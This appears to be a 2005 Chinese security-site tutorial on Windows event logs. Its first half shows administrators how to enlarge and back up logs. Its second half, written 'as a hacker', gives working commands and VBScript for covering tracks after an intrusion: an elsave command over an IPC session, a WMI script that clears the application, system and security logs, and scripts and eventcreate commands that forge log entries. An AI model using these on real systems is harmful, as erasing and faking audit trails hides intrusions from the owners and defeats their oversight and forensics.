通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
windows日志的保护与伪造
责任编辑:admin   更新日期:2005-7-6
 
windows日志的保护与伪造
日志对于系统安全的作用是显而易见的,无论是网络管理员还是黑客都非常重视日志,一个有经验的管理员往往能够迅速通过日志了解到系统的安全性能,而一个聪明的黑客往往会在入侵成功后迅速清除掉对自己不利的日志。下面我们就来讨论一下日志的安全和创建问题。
一:概述:Windows2000的系统日志文件有应用程序日志,安全日志、系统日志、DNS服务器日志等等,应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\system32\config,默认文件大小512KB。
安全日志文件:%systemroot%\system32\config\SecEvent.EVT
系统日志文件:%systemroot%\system32\config\SysEvent.EVT
应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT
这些LOG文件在注册表中的:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog
有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目录。



二:作为网络管理员:
1。日志的安全配置:
默认的条件下,日志的大小为512KB大小,如果超出则会报错,并且不会再记录任何日志。所以首要任务是更改默认大小,具体方法:注册表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog对应的每个日志如系统,安全,应用程序等均有一个maxsize子键,修改即可。
下面给出一个来自微软站点的一个脚本,利用VMI来设定日志最大25MB,并允许日志自行覆盖14天前的日志:
该脚本利用的是WMI对象, WMI(Windows Management Instrumentation)技术是微软提供的Windows下的系统管理工具。通过该工具可以在本地或者管理客户端系统中几乎一切的信息。很多专业的网络管理工具都是基于WMI开发的。该工具在Win2000以及WinNT下是标准工具,在Win9X下是扩展安装选项。所以以下的代码在2000以上均可运行成功。

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Security)}!\\" & _
strComputer & "\root\cimv2") '获得VMI对象
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile")
For each objLogfile in colLogFiles
strLogFileName = objLogfile.Name
Set wmiSWbemObject = GetObject _
("winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:" _
& "Win32_NTEventlogFile.Name='" & strLogFileName & "'")
wmiSWbemObject.MaxFileSize = 2500000000
wmiSWbemObject.OverwriteOutdated = 14
wmiSWbemObject.Put_
Next
将上述脚本用记事本存盘为vbs为后缀的即可使用。
另外需要说明的是代码中的strComputer="."在windows脚本中的含义相当于localhost,如果要在远程主机上执行代码,只需要把"."改动为主机名,当然首先得拥有对方主机的管理员权限并建立IPC连接.本文中的代码所出现的strComputer均可作如此改动.
2。日志的查询与备份:
一个优秀的管理员是应该养成备份日志的习惯,如果有条件的话还应该把日志转存到备份机器上或直接转储到打印机上,笔者还有一篇文章《利用脚本编程格式化输出系统日志》,详细的讲述了利用windows脚本把日志转储并输出成html页已便于查询,有兴趣的可以查看,在这里推荐微软的resourceKit工具箱中的dumpel.exe,他的常用方法:
dumpel -f filename -s \\server -l log
-f filename 输出日志的位置和文件名
-s \\server 输出远程计算机日志
-l log log 可选的为system,security,application,可能还有别的如DNS等
如要把目标服务器server上的系统日志转存为backupsystem.log可以用以下格式:
dumpel \\server -l system -f backupsystem.log
再利用计划任务可以实现定期备份系统日志。
另外利用脚本编程的VMI对象也可以轻而易举的实现日志备份:
下面给出备份application日志的代码:
backuplog.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2") '获得 VMI对象
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='Application'") '获取日志对象中的应用程序日志
For Each objLogfile in colLogFiles
errBackupLog = objLogFile.BackupEventLog("f:\application.evt") '将日志备份为f:\application.evt
If errBackupLog <> 0 Then
Wscript.Echo "The Application event log could not be backed up."
else Wscript.Echo "success backup log"
End If
Next
程序说明:如果备份成功将窗口提示:"success backup log" 否则提示:"The Application event log could not be backed up",此处备份的日志为application 备份位置为f:\application.evt,可以自行修改,此处备份的格式为evt的原始格式,用记事本打开则为乱码,这一点他不如dumpel用得方便。


三:作为黑客
1。日至清除
一个入侵系统成功后的黑客第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在m命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,下面介绍几种方法:
1.借助第三方工具:如小榕的elsave.exe远程清除system,applicaton,security的软件,使用方法很简单,首先利用获得的管理员账号与对方建立ipc会话,net use \\ip pass /user: user
然后命令行下:elsave -s \\ip -l application -C,这样就删除了安全日志。
其实利用这个软件还可以进行备份日志,只要加一个参数 -f filename就可以了,在此不再详述。
2.利用脚本编程中的VMI,也可以实现删除日志,首先获得object对象,然后利用其clearEventLog() 方法删除日志。源代码:
cleanevent.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next
在上面的代码中,建立一个数组,为application,security,system如果还有其他日志也可以加入数组。
然后用一个for 循环,删除数组中的每一个元素,即各个日志.
2。创建日志:
删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何
伪造日志:
1。利用脚本编程中的eventlog方法是创造日志变得非常简单;下面看一个代码
createlog.vbs
set ws=wscript.createobject("Wscript.shell")
ws.logevent 0 ,"write log success" '创建一个成功执行日志
这个代码很容易阅读,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法
logevent的用法:logevent eventtype,"description" [,remote system]
eventtype 为日志类型,可以使用的如下:0 代表成功执行,1 执行出错 ,2 警告 , 4,信息 ,8 成功审计 16 故障审计
所以上面代码中,把0改为1,2,4,8,16均可,引号下的为日志描述。
这种方法写的日志有一个缺点,只能写到应用程序日志,而且日至来源只能为wsh,即windows scripting host,所以不能起太多的隐蔽作用。
2,微软为了方便系统管理员和程序员,在xp下有个新的命令行工具,eventcreate.exe,利用它,创建日志更加简单。
eventcreate -s server -l logname -u username -p password -so source -t eventtype -id id -d description
含义:-s 为远程主机创建日志: -u 远程主机的用户名 -p 远程主机的用户密码
-l 日志;可以创建system和application 不能创建security日志,
-so 日志来源,可以是任何日志 -t 日志类型 如information信息,error错误,warning 警告,
-d 日志描述,可以是任意语句 -id 自主日志为1-1000之内
例如,我们要本地创建一个系统日志,日至来源为admin,日志类型是警告,描述为"this is a test",事件ID为500
可以用如下参数
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
这个工具不能创建安全日志。至于如何创建安全日志,希望大家能够找到一个好方法!
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题